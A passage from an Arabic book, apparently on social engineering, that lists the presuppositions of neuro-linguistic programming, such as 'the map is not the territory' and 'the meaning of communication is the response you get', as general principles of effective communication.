‫ﺣﯾﺎة ﺧﺎﺻﺔ ﺑﮫ‪ .‬ﯾﻣﻛﻧك أن ﺗﺄﺧذ اﻟﻌدﯾد ﻣن اﻟزواﯾﺎ واﻟﻣﺳﺎرات ﻋﻧد دراﺳﺔ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن وﻓرة اﻟﻣﻌﻠوﻣﺎت ھﻧﺎك‬
‫ﯾﺑﻘﻰ اﻟﺳؤال‪ ،‬ﻛﯾف ﯾﻣﻛن اﺳﺗﺧدام اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﻓﺮﺿﯿﺎت اﻟﺒﺮﻣﺠﺔ اﻟﻠﻐﻮﯾﺔ اﻟﻌﺼﺒﯿﺔ‬
‫ھﻧﺎك ﺑﻌض اﻟﻔرﺿﯾﺎت اﻟﺗﻲ ﺗﺻﺎﺣب اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ اﻟﻠﻐوﯾﺔ وھﻲ ﻣﻔﯾدة ﻓﻲ اﻟﺗواﺻل اﻟﻔﻌﺎل‪ .‬ﻣن ھذه اﻟﻔرﺿﯾﺎت ﻣﺎ ﯾﻠﻲ‪:‬‬
‫‪ -1‬ﻣﻌﻧﻰ اﺗﺻﺎﻟك ھو اﻻﺳﺗﺟﺎﺑﺔ اﻟﺗﻲ ﺗﺣﺻل ﻋﻠﯾﮭﺎ‪ :‬ﻓﻲ اﻟﺗواﺻل أو اﻟﺗﻔﺎھم ﺑﯾن اﻟﻧﺎس ﯾﻘوم اﻟﺷﺧص ﺑﻧﻘل ﻣﻌﻠوﻣﺎت إﻟﻰ ﺷﺧص آﺧر‪.‬‬
‫ﻓﮭﻧﺎك ﺷﺧص ﻋﻧده ﻣﻌﻠوﻣﺎت وھﻲ ﺗﻌﻧﻲ ﺑﺎﻟﻧﺳﺑﺔ ﻟﮫ ﺷﯾﺋﺎ ﻣﺎ وﯾرﯾد أن ﯾوﺻﻠﮭﺎ ﻟﺷﺧص آﺧر ﻛﻲ ﯾﺗواﺻل ﻣﻌﮫ‪ .‬ﻛﺛﯾرا ﻣﺎ ﯾﻔﺗرض‬
‫اﻹﻧﺳﺎن أﻧﮫ إذا ﻣﺎ ﻗﺎل ﻣﺎ ﯾرﯾد ﻓﺎن ﻣﺳﺋوﻟﯾﺗﮫ ﻓﻲ ﻋﻣﻠﯾﺔ اﻟﺗواﺻل ﺗﻛون ﻗد اﻧﺗﮭت‪ .‬اﻟﻣﺗﺣدﺛون اﻟذﯾن ﯾﺟﯾدون ﻓن اﻟﺣدﯾث ﯾدرﻛون أن‬
‫ﻣﺳﺋوﻟﯾﺗﮭم ﻻ ﺗﻧﺗﮭﻲ ﺑﺎﻧﺗﮭﺎﺋﮭم ﻣن اﻟﻛﻼم‪ .‬ﻓﻲ ﻋﻣﻠﯾﺔ اﻟﺗواﺻل اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﻔﺳر ﺑﮭﺎ اﻟﻣﺳﺗﻣﻊ ﺣدﯾﺛك وﻛﯾﻔﯾﺔ رده ﻋﻠﯾك ھو اﻟﻣﮭم‪ .‬ھذا‬
‫ﯾﺗطﻠب أن ﯾﻠﻘﻲ اﻟﻣرء ﺑﺎﻟﮫ إﻟﻰ ﻣﺎ ﯾﺳﻣﻊ ﻣن رد ﻓﺎن ﻟم ﺗﻛن اﻹﺟﺎﺑﺔ ھﻲ ﻣﺎ ﯾرﯾد ﻓﺎن ﻋﻠﯾﮫ أن ﯾﻐﯾر ﻣن طرﯾﻘﺔ اﻟﺗواﺻل ﺣﺗﻰ ﯾﺣﺻل‬
‫ﻋﻠﻰ اﻻﺳﺗﺟﺎﺑﺔ اﻟﺗﻲ ﯾرﯾدھﺎ‪.‬‬
‫ھﻧﺎك أﺳﺑﺎب ﻛﺛﯾرة ﻟﺳوء اﻟﺗﻔﺎھم ﻓﻲ ﻋﻣﻠﯾﺔ اﻟﺗواﺻل‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪854‬‬

‫اﻷول‪ :‬ﯾﻧﺷﺄ ﻣن أن اﻟﺧﺑرات اﻟﻣرﺗﺑطﺔ ﺑﻧﻔس اﻟﻛﻠﻣﺎت ﻋﻧد اﻟطرﻓﯾن ﻗد ﺗﻛون ﻣﺧﺗﻠﻔﺔ‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻌﻧﯾﮫ ﺷﺧص ﻣﺎ ﺑﻛﻠﻣﺔ ﻣﺎ ﯾﻛون ﻣﺧﺗﻠﻔﺎ ﺗﻣﺎﻣﺎ ﻋﻣﺎ‬
‫ﯾﻌﻧﯾﮫ ﺷﺧص آﺧر ﻟﻧﻔس اﻟﻛﻠﻣﺔ ﺑﺳﺑب اﺧﺗﻼف اﻟﺗرﻛﯾب اﻟﻣﻛﺎﻓﺊ ﻟﻠﻛﻠﻣﺔ ﻋﻧد اﻟطرﻓﯾن‪.‬‬
‫اﻟﺛﺎﻧﻲ‪ :‬ﯾﻧﺷﺄ ﺑﺳﺑب اﻟﻔﺷل ﻓﻲ إدراك أن ﻧﺑرة ﺻوت اﻟﻣﺗﺣدث وﻣﻼﻣﺢ اﻟوﺟﮫ ﺗﻘدم ﻣﻌﻠوﻣﺎت ﻛذﻟك‪ ،‬وأن اﻟﻣﺳﺗﻣﻊ ﻗد ﯾﺟﯾب ﻋﻠﻰ ذﻟك ﻛﻣﺎ ﯾﺟﯾب‬
‫ﻋﻠﻰ اﻟﻛﻼم ﺑذاﺗﮫ‪ .‬وﻛﻣﺎ ﯾﻘول اﻟﻣﺛل اﻟﺳﺎﺋد "أن اﻷﻓﻌﺎل ﺗﺗﺣدث ﺑﺻوت أﻋﻠﻰ ﻣن اﻟﻛﻠﻣﺎت" وﻓﻲ اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ اﻟﻠﻐوﯾﺔ ﻓﺎن اﻟﻣﻣﺎرس ﯾﺟب‬
‫أن ﯾﺗدرب ﻋﻠﻰ أﻧﮫ ﺣﯾﻧﻣﺎ ﯾﻛون اﻻﺛﻧﺎن ﻓﻲ ﺗﻌﺎرض ﻓﺎﻧﮫ ﯾﺟب أن ﯾﻠﺗﻔت اﻟﻣرء إﻟﻰ اﻷﻓﻌﺎل‪.‬‬
‫‪ -2‬اﻟﺧﺎرطﺔ ﻟﯾﺳت ھﻲ اﻟﺣﻘﯾﻘﺔ‪ :‬اﻟﻣﺗﺻﻠون اﻟﺟﯾدون ﯾدرﻛون أن ﺧراﺋطﮭم اﻟذھﻧﯾﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣوﻧﮭﺎ ﻋن اﻟﻌﺎﻟم ﻟﯾﺳت ھﻲ اﻟﻌﺎﻟم‪ .‬ﻣن‬
‫اﻟﺿروري أن ﻧﻣﯾز ﺑﯾن اﻟﻣﺳﺗوﯾﺎت اﻟﻌدﯾدة ﻟﻣدﻟوﻻت اﻟﻛﻠﻣﺎت‪ .‬أوﻻ ﯾﺄﺗﻲ اﻟﻌﺎﻟم‪ .‬ﺛﺎﻧﯾﺎ اﻟﺧﺑرة ﻋن اﻟﻌﺎﻟم‪ .‬وھذه اﻟﺧﺑرة ھﻲ "ﺧﺎرطﺔ‬
‫اﻹﻧﺳﺎن ﻋن اﻟﻌﺎﻟم" أو "ﻧﻣوذﺟﮫ" وھﻲ ﺗﺧﺗﻠف ﻣن ﺷﺧص ﻵﺧر‪ .‬ﻛل إﻧﺳﺎن ﯾﺷﻛل ﻧﻣوذﺟﺎ ﻓرﯾدا ﻋن اﻟﻌﺎﻟم وﺑﺎﻟﺗﺎﻟﻲ ﯾﻌﯾش ﺣﻘﯾﻘﺔ‬
‫ﻣﺧﺗﻠﻔﺔ ﻧوﻋﺎ ﻣﺎ ﻋن ﻏﯾره‪ .‬وھﻛذا ﻓﺎﻹﻧﺳﺎن ﻻ ﯾﺗﺻرف ﻣﺑﺎﺷرة ﺑﻧﺎء ﻋﻠﻰ ﻣﺎ ﺳﻣﻌﮫ ﻋن اﻟﻌﺎﻟم وﻟﻛن ﺑﻧﺎء ﻋﻠﻰ ﺧﺑرﺗﮫ ﻓﯾﮫ‪ .‬وھذه‬
‫اﻟﺗﺟرﺑﺔ ﻗد ﺗﻛون ﻣﺻﯾﺑﺔ أو ﻻ ﺗﻛون ﻛذﻟك إﻟﻰ اﻟﺣد اﻟذي ﺗﻛون ﻓﯾﮫ ﺗﺟرﺑﺗﮫ أو ﺧﺑرﺗﮫ ﻟﮭﺎ ﺗرﻛﯾﺑﺎ ﻣﺷﺎﺑﮭﺎ ﻓﺈﻧﮭﺎ ﺗﻛون ﺻﺣﯾﺣﺔ وھذا‬
‫ﯾدل ﻋﻠﻰ ﻧﻔﻌﮭﺎ وﻓﺎﺋدﺗﮭﺎ‪ .‬ﺧﺑرة اﻹﻧﺳﺎن أو ﺧرﯾطﺗﮫ أو ﻧﻣوذﺟﮫ أو ﺗﻣﺛﯾﻠﮫ ﻋن اﻟﻌﺎﻟم ﯾﺣدد ﻛﯾف ﯾﻣﻛن ﻟﮫ أن ﯾﻔﮭم اﻟﻌﺎﻟم وﻣﺎ ھﻲ‬
‫اﻟﺧﯾﺎرات اﻟﺗﻲ ﯾراھﺎ ﻣﺗﺎﺣﺔ ﻟﮫ‪ .‬ﻛﺛﯾر ﻣن ﺗﻘﻧﯾﺎت اﻟﺑرﻣﺟﺔ ﺗﺷﻣل ﺗﻐﯾﯾر اﻟﺧراﺋط اﻟذھﻧﯾﺔ ﻋن اﻟﻌﺎﻟم ﻟﻛﻲ ﯾراه اﻹﻧﺳﺎن ﻧﺎﻓﻌﺎ وﻗرﯾﺑﺎ ﻣن‬
‫اﻟﺣﻘﯾﻘﺔ اﻟﺗﻲ ﻋﻠﯾﮭﺎ اﻟﻌﺎﻟم ﺑﺎﻟﻔﻌل‬
‫‪ -3‬اﻟﻠﻐﺔ ھﻲ ﺗﻣﺛﯾل ﺛﺎﻧوي ﻟﻠﺧﺑرة‪ :‬اﻟﻠﻐﺔ ھﻲ ﻣﺳﺗوى ﺛﺎﻟث ﻟدﻻﻟﺔ اﻷﻟﻔﺎظ‪ :‬اﻟﻣﺳﺗوى اﻷول ھو اﻟﻣؤﺛر اﻟﻘﺎدم ﻣن اﻟﻌﺎﻟم‪ ،‬اﻟﺛﺎﻧﻲ ھو ﺗﻣﺛﯾل‬
‫اﻟﻣﺳﺗﻔﯾد ﻟذﻟك اﻟﻣؤﺛر أو ﺧﺑرﺗﮫ‪ ،‬اﻟﺛﺎﻟث ھو وﺻف ھذا اﻟﻣﺳﺗﻔﯾد ﻟﮭذه اﻟﺗﺟرﺑﺔ أو اﻟﺧﺑرة ﻋن طرﯾﻖ اﺳﺗﺧدام اﻟﻠﻐﺔ‪ .‬اﻟﻠﻐﺔ ﻟﯾﺳت ھﻲ‬
‫اﻟﺧﺑرة وﻟﻛﻧﮭﺎ ﺗﻣﺛﯾل ﻟﮭﺎ‪ .‬اﻟﻛﻠﻣﺎت ﺗﺳﺗﺧدم ﻟﺗﻣﺛﯾل أﺷﯾﺎء ﻧراھﺎ‪ ،‬ﻧﺳﻣﻌﮭﺎ أو ﻧﺣس ﺑﮭﺎ‪ .‬اﻟﻧﺎس اﻟذﯾن ﯾﺗﻛﻠﻣون ﻟﻐﺎت ﻣﺧﺗﻠﻔﺔ ﯾﺳﺗﺧدﻣون‬
‫ﻛﻠﻣﺎت ﻣﺧﺗﻠﻔﺔ ﺗﻣﺛل ﻧﻔس اﻟﺷﻲء اﻟذي ﯾراه وﯾﺳﻣﻌﮫ وﯾﺣﺳﮫ اﻟﻣﺗﺣدﺛون ﺑﻠﻐﺗﮭم‪ .‬وﺑﻣﺎ أن ﻛل ﻓرد ﻟدﯾﮫ ﻣﺟﻣوﻋﺔ ﻓرﯾدة ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ‬
‫رآھﺎ وﺳﻣﻌﮭﺎ وأﺣﺳﮭﺎ ﻓﻲ ﺣﯾﺎﺗﮫ ﻓﺎن ﻛﻠﻣﺎﺗﮭم ﻋن ھذه اﻷﺷﯾﺎء ﺳﯾﻛون ﻟﮭﺎ ﻣﻌﺎن ﻣﺧﺗﻠﻔﺔ‪ ،‬إﻟﻰ اﻟﺣد اﻟذي ﯾﺳﺗطﯾﻊ ﻣﻌﮫ اﻟﻧﺎس‬
‫اﻟﻣﺗﺷﺎﺑﮭون اﺳﺗﺧدام ھذه اﻟﻛﻠﻣﺎت ﺑﻣﻌﺎﻧﯾﮭﺎ ﺑطرﯾﻘﺔ ﻓﻌﺎﻟﺔ ﻓﻲ اﻻﺗﺻﺎل ﺑﯾﻧﮭم‪ .‬وﻋﻧدﻣﺎ ﺗﻛون اﻟﻛﻠﻣﺎت ﺗﺣﻣل ﻣﻌﺎن ﻣﺗﺑﺎﻋدة ﺑﺎﻟﻧﺳﺑﺔ‬
‫ﻟﻸﺷﺧﺎص ﻓﺎن اﻟﻣﺷﺎﻛل ﺣﯾﻧﮭﺎ ﺗﺑدأ ﻓﻲ اﻟﺗﺻﺎﻋد ﻓﻲ دﻧﯾﺎ اﻟﺗواﺻل واﻟﺗﻔﺎھم ﺑﯾن اﻟﻧﺎس‪.‬‬
‫‪ -4‬اﻟﻌﻘل واﻟﺟﺳم ﺟزاءان ﻣن ﻧظﺎم ﺳﺑرﻧﺎﺗﻰ )ﺣﯾوي ﻣﯾﻛﺎﻧﯾﻛﻲ ﻣﻐﻠﻖ( واﺣد ﯾؤﺛر ﻛل ﻣﻧﮭﻣﺎ ﻋﻠﻰ اﻵﺧر‪ :‬ﻻ ﯾوﺟد ﻋﻘل ﻣﻧﻔﺻل وﻻ ﺟﺳم‬
‫ﻣﻧﻔﺻل‪ .‬اﻟﻌﻘل واﻟﺟﺳم ﯾﻌﻣﻼن وﻛﺄﻧﮭﻣﺎ واﺣد وﯾؤﺛران ﻓﻲ ﺑﻌﺿﮭﻣﺎ ﺑطرﯾﻘﺔ ﻻ اﻧﻔﺻﺎل ﻓﯾﮭﺎ‪ .‬وأي ﺷﻲء ﯾﺣدث ﻓﻲ ﺟزء ﻣن ھذا‬
‫اﻟﻧظﺎم اﻟﻣﺗﻛﺎﻣل أي اﻹﻧﺳﺎن ﯾؤﺛر ﻓﻲ ﺑﺎﻗﻲ أﺟــزاء اﻟﻧظﺎم‪ .‬وھذا ﯾﻌﻧﻲ أن اﻟﻛﯾﻔﯾﺔ اﻟﺗﻲ ﯾﻔﻛر ﺑﮭﺎ اﻹﻧﺳﺎن ﺗؤﺛر ﻓﻲ ﻛﯾﻔﯾﺔ إﺣﺳﺎﺳﮫ وأن‬
‫ﺣﺎﻟﺔ ﺟﺳده ﺗؤﺛر ﻓﻲ ﻛﯾﻔﯾﺔ ﺗﻔﻛﯾره‪ .‬اﻹﻧﺳﺎن وﻋﺎء ﯾﺗم ﻓﯾﮫ اﻹدراك ﻟﻣﺎ ﺣوﻟﮫ‪ ،‬وﺗﺗم ﻓﯾﮫ ﻋﻣﻠﯾﺔ اﻟﺗﻔﻛﯾر اﻟداﺧﻠﻲ وﻋﻣﻠﯾﺔ ﺗﺣرﯾك‬
‫اﻟﻌواطف‪ ،‬واﻻﺳﺗﺟﺎﺑﺎت اﻟذھﻧﯾﺔ اﻟﺟﺳدﯾﺔ )اﻟﻔﺳﯾوﻟوﺟﯾﺔ(‪ ،‬واﻟﺳﻠوك اﻟﺧﺎرﺟﻲ‪ .‬ﻛﻠﮭﺎ ﺗظﮭر ﻣﻌﺎ أو ﻓﻲ أوﻗﺎت ﻣﺗﺑﺎﯾﻧﺔ‪ .‬وﻋﻣﻠﯾﺎ ﻓﺎن ھذا‬
‫ﻣﻌﻧﺎه أن اﻹﻧﺳﺎن ﯾﺳﺗطﯾﻊ أن ﯾﻐﯾر طرﯾﻘﺔ ﺗﻔﻛﯾره إﻣﺎ ﺑطرﯾﻘﺔ ﻣﺑﺎﺷرة ﺑﺗﻐﯾﯾر طرﯾﻘﺔ ﺗﻔﻛﯾره ﻓﻌﻼ وإﻣﺎ ﺑﺗﻐﯾﯾر ﺣﺎﻟﺗﮫ اﻟﻔﺳﯾوﻟوﺟﯾﺔ أو‬
‫اﻟﺷﻌورﯾﺔ‪ .‬وﺑﺎﻟﻣﺛل ﯾﺳﺗطﯾﻊ اﻹﻧﺳﺎن أن ﯾﻐﯾر اﻟﻔﺳﯾوﻟوﺟﯾﺎ واﻟﻣﺷﺎﻋر ﺑﺗﻐﯾﯾر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﻔﻛر ﺑﮭﺎ‪ .‬وﻣن اﻟﻣﻧﺎﺳب أن ﻧذﻛر ھﻧﺎ أھﻣﯾﺔ‬
‫اﻟﺗﺧﯾل اﻟﺑﺻري واﻟﺗرﺳﯾﺦ اﻟذھﻧﻲ ﻟﺗﺣﺳﯾن أداءﻧﺎ‪.‬‬
‫‪ -5‬ﻗﺎﻧون ﺗﻧوع اﻟﺣﺎﺟﺎت‪ :‬ﯾﻧص اﻟﻘﺎﻧون ﻋﻠﻰ أﻧﮫ ﻓﻲ أي ﻧظﺎم ﺳﺑرﻧﺎﺗﻰ‪ ،‬ﺑﻣﺎ ﻓﻲ ذﻟك اﻹﻧﺳﺎن‪ ،‬ﻓﺎن اﻟﻌﻧﺻر اﻟذي ﺗﻛون ﻟﮫ أﻛﺑر اﻟﻣﺟﺎﻻت‬
‫اﻟﺳﻠوﻛﯾﺔ أو اﻟﺧﯾﺎرات اﻟﻣﺗﻧوﻋﺔ ﺳوف ﺗﻛون ﻟﮫ اﻟﻣﻘدرة ﻋﻠﻰ اﻟﺗﺣﻛم ﻓﻲ اﻟﻧظﺎم ﻛﻛل‪ .‬اﻟﺗﺣﻛم ﻓﻲ اﻟﻧظﺎم اﻹﻧﺳﺎﻧﻲ ﯾﻌود إﻟﻰ اﻟﻣﻘدرة‬
‫ﻋﻠﻰ اﻟﺗﺄﺛﯾر ﻓﻲ ﻧظﺎم اﻟﻣﺳﺗﻔﯾد ذاﺗﮫ وﻓﻲ ﺧﺑرات اﻟﻧﺎس اﻵﺧرﯾن ﻓﻲ اﻟﻠﺣظﺔ اﻟﺣﺎﻟﯾﺔ وﺧﻼل اﻟزﻣن اﻟﻣﺳﺗﻘﺑﻠﻲ‪ .‬واﻟﻣﺳﺗﻔﯾد اﻟذي ﺗﻛون ﻟﮫ‬
‫أﻛﺑر اﻟﻣروﻧﺔ ﻓﻲ اﻟﺳﻠوك أي ﻓﻲ ﻋدد اﻟطرق اﻟﺗﻲ ﯾﻣﻛن أن ﯾﺗﺑﻌﮭﺎ ﻓﻲ ﺗﺻرﻓﺎﺗﮫ ﺳوف ﯾﺗﺣﻛم ﻓﻲ ھذا اﻟﻧظﺎم‪ .‬وﺣﯾن ﯾوﺟد ﻟدﯾﻧﺎ‬
‫ﺧﯾﺎرات أﺧرى ﺧﯾر ﻣن ﻻ ﺧﯾﺎرات وﻛﻠﻣﺎ ﻛﺎﻧت اﻟﺧﯾﺎرات أﻛﺛر ﻛﺎن ذﻟك أﺣﺳن‪ .‬وھذا اﻟﻛﻼم ﻟﮫ ﺻﻠﺔ ﺑﺎﻟﻣﺑدأ اﻟﻌﺎم اﻟﺛﺎﻟث ﻟﻠﺑرﻣﺟﺔ‬
‫اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ واﻟذي ذﻛرﻧﺎه ﺳﺎﺑﻘﺎ‪ .‬ھذا اﻟﻣﺑدأ ﯾﺷﯾر إﻟﻰ ﺿرورة ﺗﻐﯾﯾر اﻹﻧﺳﺎن ﻟﺳﻠوﻛﮫ ﺣﺗﻰ ﯾﺣﺻل ﻋﻠﻰ اﻟﻧﺗﺎﺋﺞ اﻟﻣرﻏوﺑﺔ‪ .‬وإذا‬
‫ﻟم ﯾﻧﺟﺢ ﻓﻌﻠﯾﮫ أن ﯾﻐﯾر ﺳﻠوﻛﮫ ﺣﺗﻰ ﯾﺻل إﻟﻰ ﻣﺎ ﯾرﯾد‪ .‬ﻓﺄي ﺷﻲء آﺧر ﺧﯾر ﻣن ﺷﻲء ﻻ ﯾﻔﯾد أو ﻻ ﯾﻌﻣل ﺑﻧﺟﺎح‪ ،‬واﻹﻧﺳﺎن ﯾﻧﺑﻐﻲ أن‬
‫ﯾﺳﺗﻣر ﻓﻲ اﺳﺗﺧدام أﺳﺎﻟﯾب ﻛﺛﯾرة ﺣﺗﻰ ﯾﻌﺛر ﻋﻠﻰ اﻷﺳﻠوب اﻷﻧﺟﺢ‪.‬‬
‫‪ -6‬اﻟﺳﻠوك ﯾﺗﺟﮫ داﺋﻣﺎ ﻧﺣو اﻟﺗﻛﯾف‪ :‬ﯾﺟب أن ﻧﺣﻛم ﻋﻠﻰ ﺗﺻرف ﻣﺎ ﻣن ﺧﻼل اﻟﺳﯾﺎق اﻟذي ﺣﺻل ﻓﯾﮫ ذﻟك اﻟﺗﺻرف‪ .‬اﻟﺣﻘﯾﻘﺔ ﻋﻧد‬
‫اﻷﺷﺧﺎص ھﻲ ﻣﺎ ﯾدرﻛوﻧﮫ ﻋن اﻟﻌﺎﻟم ﻣن ﺣوﻟﮭم‪ .‬واﻟﺳﻠوك اﻟذي ﯾظﮭر ﻣن اﻹﻧﺳﺎن ﯾﺗواﻓﻖ ﻣﻊ اﻟﺣﻘﯾﻘﺔ اﻟﺗﻲ ﯾراھﺎ‪ .‬ﺳﻠوك أي ﺷﺧص‬
‫ھو ﻋﺑﺎرة ﻋن ﻋﻣﻠﯾﺔ ﺗﻛﯾف ﺳواء ﻛﺎن ھذا اﻟﺳﻠوك ﺟﯾدا أو ردﯾﺋﺎ‪ .‬ﻛل ﺷﻲء ﯾﻌﺗﺑر ﻧﺎﻓﻌﺎ ﻓﻲ ﻣﺟﺎل ﻣﻌﯾن‪ .‬ﺟﻣﯾﻊ اﻟﺳﻠوﻛﯾﺎت اﻟﺑﺷرﯾﺔ‬
‫ھﻲ ﻓﻲ اﻟواﻗﻊ ﻋﻣﻠﯾﺔ ﺗﻛﯾف ﺿﻣن اﻟظروف اﻟﺗﻲ ﻋﻣل اﻟﻧﺎس ﻓﯾﮭﺎ‪ .‬وﻗد ﻻ ﺗﻛون ﻣﻼﺋﻣﺔ ﻓﻲ ظرف أو وﺿﻊ آﺧر‪ .‬ﯾﺗﺣﺗم ﻋﻠﻰ اﻟﻧﺎس‬
‫أن ﯾدرﻛوا ذﻟك وأن ﯾﻐﯾروا ﻣن ﺳﻠوﻛﯾﺎﺗﮭم ﺣﯾﻧﻣﺎ ﯾﻛون ﻻ ﺑد ﻣن ذﻟك‪.‬‬
‫‪ -7‬اﻟﺳﻠوك اﻟراھن ﯾﻣﺛل أﺣﺳن ﺧﯾﺎر ﻣوﺟود ﻟدى اﻟﻣﺳﺗﻔﯾد‪ :‬وراء ﻛل ﺗﺻرف ﻧﯾﺔ ﺣﺳﻧﮫ‪ .‬أﯾﺎ ﻛﺎن اﻟﻣﺳﺗﻔﯾد واﻋﺗﻣﺎدا ﻋﻠﻰ ﺧﺑرﺗﮫ‬
‫اﻟطوﯾﻠﺔ ﻓﻲ اﻟﺣﯾﺎة واﻟﺧﯾﺎرات اﻟﺗﻲ أﻣﺎﻣﮫ ﻓﺎﻧﮫ ﯾﻘوم ﺑﺄﻓﺿل اﻟﺧﯾﺎرات اﻟﻣﺗﺎﺣﺔ أﻣﺎﻣﮫ داﺋﻣﺎ‪ .‬وإذا ﻣﺎ ﻗدم ﻟﮫ ﺧﯾﺎرا أﻓﺿل ﻓﺎﻧﮫ ﯾﺧﺗﺎره‪.‬‬
‫وﻟﻛﻲ ﺗﻐﯾر ﺳﻠوﻛﺎ ﺳﯾﺋﺎ ﻹﻧﺳﺎن ﻣﺎ ﻓﺎﻧﮫ ﯾﻧﺑﻐﻲ أن ﯾﻛون أﻣﺎﻣﮫ ﺧﯾﺎرات ﻣﻐﺎﯾرة‪ .‬وﻣﺗﻰ ﺗم ذﻟك ﻓﺳوف ﯾﺗﻐﯾر ﺳﻠوﻛﮭم ﺗﺑﻌﺎ ﻟذﻟك‪ .‬اﻟﺑرﻣﺟﺔ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪855‬‬

‫اﻟﻌﺻﺑﯾﺔ اﻟﻠﻐوﯾﺔ ﺗﺳﺎﻋد ﺑﺗﻘﻧﯾﺎﺗﮭﺎ أن ﺗﻘدم ھذه اﻟﺧﯾﺎرات وﺗﮭﺗم ﺑذﻟك اھﺗﻣﺎم ﺷدﯾد وﻻ ﺗﻧزع اﻻﺧﺗﯾﺎرات ﻣن أﺣد إطﻼﻗﺎ وﻷي ﺳﺑب‪ ،‬ﺑل‬
‫ﺗﻘدم ﻣزﯾدا ﻣﻧﮭﺎ‪.‬‬
‫‪ -8‬ﯾﻘﯾم اﻟﺳﻠوك ﺣﺳب اﻟﺳﯾﺎق اﻟذي ﻗدم ﻓﯾﮫ‪ :‬ﯾﺣﺗﺎج اﻹﻧﺳﺎن إﻟﻰ أن ﯾﻘﯾم ﺳﻠوك اﻵﺧرﯾن ﻋﻠﻰ ﺿوء ﻗدراﺗﮭم‪ .‬ﯾﻧﺑﻐﻲ ﻋﻠﻰ اﻟﻣرء أن‬
‫ﯾﺳﻌﻰ ﻟﯾﺻل إﻟﻰ أﻋﻠﻰ اﻟﻘدرات‪.‬‬
‫‪ -9‬اﻟﻧﺎس ﺗﻣﺗﻠك اﻟﻣﺻﺎدر اﻟﺗﻲ ﯾﺣﺗﺎﺟوﻧﮭﺎ ﻟﯾﻌﻣﻠوا ﻛل اﻟﺗﻐﯾرات اﻟﺗﻲ ﯾرﯾدون‪ :‬اﻟﻣﮭم أن ﻧﺣدد وﻧﺳﺗﻔﯾد ﻣن ھذه اﻟﻣﺻﺎدر وأن ﻧﺟدھﺎ ﺣﯾن‬
‫ﻧﺣﺗﺎج إﻟﯾﮭﺎ‪ .‬وﺗﻘدم ﻟﻧﺎ اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ اﻟﻠﻐوﯾﺔ ﺗﻘﻧﯾﺎت ﻣدروﺳﺔ ﻹﺗﻣﺎم ھذه اﻟﻣﮭﻣﺔ ﺑﻧﺟﺎح‪ .‬ﻣﺎ ﯾﻌﻧﯾﮫ ھذا ھو أن اﻟﻧﺎس ﻓﻲ اﻟﺣﯾﺎة‬
‫اﻟﻌﻣﻠﯾﺔ ﻻ ﯾﺣﺗﺎﺟون ﻷن ﯾﻧﻔﻘوا أوﻗﺎﺗﮭم ﻟﯾﮭﺗدوا إﻟﻰ ﻓﻛرة ﻟﺣل ﻣﺷﺎﻛﻠﮭم وﻹﯾﺟﺎد وﺳﺎﺋل أﺧرى ﻟﺣل ﺗﻠك اﻟﻣﺷﺎﻛل‪ .‬ﻛل ﻣﺎ ﯾﺣﺗﺎﺟوﻧﮫ‬
‫ﻟﻼﺳﺗﻔﺎدة ﻣن اﻟﻣﺻﺎدر اﻟﺗﻲ ﻟدﯾﮭم ھو اﻟوﺻول إﻟﯾﮭﺎ ﻟﻧﻘﻠﮭﺎ إﻟﻰ اﻟﻠﺣظﺔ اﻟﺣﺎﺿرة‪.‬‬
‫‪ -10‬ﻣﺎ ﯾﻣﻛن أن ﯾﻌﻣﻠﮫ أي إﻧﺳﺎن ﻣﻣﻛن ﻟﻲ أن أﻋﻣﻠﮫ وﻟﻛن ﻗد ﺗﺧﺗﻠف اﻟطرﯾﻘﺔ‪ :‬إذا ﻛﺎن ﯾﻣﻛن ﻹﻧﺳﺎن أن ﯾﻌﻣل ﺷﯾﺋﺎ ﻣﺎ ﻓﺈﻧﻲ أﺳﺗطﯾﻊ أن‬
‫أﻓﻌل ﻣﺎ ﯾﻔﻌل ھذا اﻹﻧﺳﺎن‪ .‬اﻟﻌﻣﻠﯾﺔ اﻟﺗﻲ ﺗﺣدد ﻛﯾﻔﯾﺔ ﻋﻣﻠﮭم ھذا ﺗﺳﻣﻰ‪" :‬اﻟﻧﻣذﺟﺔ" وھﻲ اﻟﻌﻣﻠﯾﺔ اﻟﺗﻲ ﺗﻣﺧﺿت ﻋﻧﮭﺎ اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ‬
‫اﻟﻠﻐوﯾﺔ ﺑﺎﻟدرﺟﺔ اﻷوﻟﻰ‪.‬‬
‫‪ -11‬أﻓﺿل أﻧواع اﻟﻣﻌﻠوﻣﺎت ﻋن اﻵﺧرﯾن اﻟﻣﻌﻠوﻣﺎت اﻟﺳﻠوﻛﯾﺔ‪ :‬اﺳﺗﻣﻊ إﻟﻰ ﻣﺎ ﯾﻘوﻟﮫ اﻟﻧﺎس وﻟﻛن ﺷدد اﻧﺗﺑﺎھك ﺗﺟﺎه ﻣﺎ ﯾﻔﻌﻠون‪ .‬ﻓﺈذا ﻛﺎن‬
